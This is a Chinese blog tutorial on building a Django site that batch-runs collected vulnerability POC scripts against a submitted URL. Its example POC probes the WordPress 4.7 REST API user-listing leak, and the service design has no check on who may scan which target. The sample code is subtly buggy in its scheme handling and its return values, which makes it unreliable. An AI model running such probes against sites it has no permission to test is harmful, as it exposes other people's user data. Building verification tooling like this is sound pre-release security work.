本文旨在提供一种线上POC批量验证的思路
简介
Mafia·叶云齐
Django,python优秀开源Web框架中的“重量级”选手,模式为MTV(模型M,模板T和视图V)。它拥有强大的数据库功能、模板系统以及缓存系统等等,功能强大且稳定。最重要的是,Django 中提供了开发常用到的模块,减少了重复代码,开发者可以愉快地进行快速开发。
POC(Proof of Concept)即漏洞证明,信息安全圈子里的老司机都明白它的“分量”。
Mafia·叶云齐
目标
对于安全从业者来说,POC在漏洞验证中必不可缺。新的旧的POC都应当收集管理,等企业有新项目上线前集中验证。目前POC验证框架已经有不少了,大多依赖一些环境运行在本地。
今天,我们就来聊聊使用Django来搭建一个非常简易的POC集中验证系统的思路,搭建完毕后可供小伙伴们使用。对于使用者来说,不需要安装任何环境,也不需要自己run什么脚本,仅仅需要线上丢一条url,就可以实现POC群的集中验证。
设计流程
Mafia·叶云齐
环境:
Python 2.7 Django 1.11 Windows 10
设计流程:
使用Django命令建立一个project并且在项目中新建一个app
D:\django_test>django-admin startproject mypoc
D:\django_test>cd mypoc
D:\django_test\mypoc>python manage.py startapp poc(新建立的app需要加到settings.py的INSTALL_APPS)
需要时可以启动Django自带的测试用服务器
D:\django_test\mypoc>python manage.py runserver 0.0.0.0:8000
首先简单介绍下,views.py(视图相关) urls.py(URL路由)文件之间有密切的关系,举个例子:
urls.py:
from poc import views as p_v
urlpatterns = [
url(r'^index$',p_v.index), #正则URL路由,访问该URL对应的是views里的index函数
]
views.py:
from django.http import HttpResponse
def index(request):
return HttpResponse("hello django")
此时启动Django,访问/index,就会返回“hello django”,在views.py中,还可以渲染模板Html文件,实现数据的前端显示
访问某正则匹配的url,对应执行视图中的某函数并且渲染模板前端显示,验证系统就是利用了这个逻辑,在views.py中引入第三方POC脚本并在函数中调用,POC验证结果传入渲染的模板html显示。
Mafia·叶云齐
动手实践
首先写一条URL正则路由
urls.py
from poc import views as p_v
urlpatterns = [
url(r'^poc_confirm$',p_v.conf), #正则路由,对应views里的conf函数
]
views.py里引入收集的POC,接收到使用者输入的参数URL后调用POC执行,并将验证结果传入html
views.py
from poc import wp as p_w #引入POC-wp
def conf(request):
u = request.GET.get('urlval', '') #从前端接收URL参数urlval
result = p_w.restapi(u) #调用POC,执行验证函数(restapi),返回POC验证结果
return render(request, 'conf.html', locals()) #验证结果传入模板渲染
模板Html(用于验证结果的展示,以及传递参数URL)
这样,我们就可以在线上验证我们引入的POC文件了。
外部链接:Github上的一些公开POC
添加POC群集中验证
Mafia·叶云齐
我们可以将一些收集到的poc都集中在线上,想使用的人仅仅需要丢一条url,就可以进行POC批量验证。
想在我们做的Django验证系统中添加POC步骤也很简单:
1.准备POC,函数封装,将结果return,这个格式也是POC最流行的格式。举个例子,从github拿到了下面一份POC,拷贝到app目录下。
wp2.py:
import requests
def poc(url):
url = url if '://' else 'http://' + url
payload = '/wp-json/wp/v2/users'
url = url.rstrip('/') + payload
try:
r = requests.get(url)
if r.status_code == 200 and '[{"id":1,"name":"' in r.content:
return 'YES [WordPress 4.7 REST API信息泄露]'
except Exception:
return 'NO [WordPress 4.7 REST API信息泄露]'
2.在views.py导入该POC:
from poc import wp2 as p_w2
在views.py的conf函数中调用POC脚本中的验证方法,将验证结果传参并渲染html
def conf(request):
......
result3 = p_w2.poc(u)
return render(request, 'conf.html', locals())
3.在conf.html模板文件中加入从views.py中传来的结果参数
<div>
{{result3}}
</div>
OK,现在就添加进去了一条POC,当然我们可以逐步收集并添加大量的POC集中验证
Mafia·叶云齐
结语
本文仅仅是介绍个简易的demo,用的也是Django自带的测试服务器,主要是提供一种线上POC批量验证的思路。要想真正的投入生产环境使用,效率和稳定性等等很多问题都是需要纳入考虑的(Django + Uwsgi + Nginx的部署方式是个可用的选择方案)。



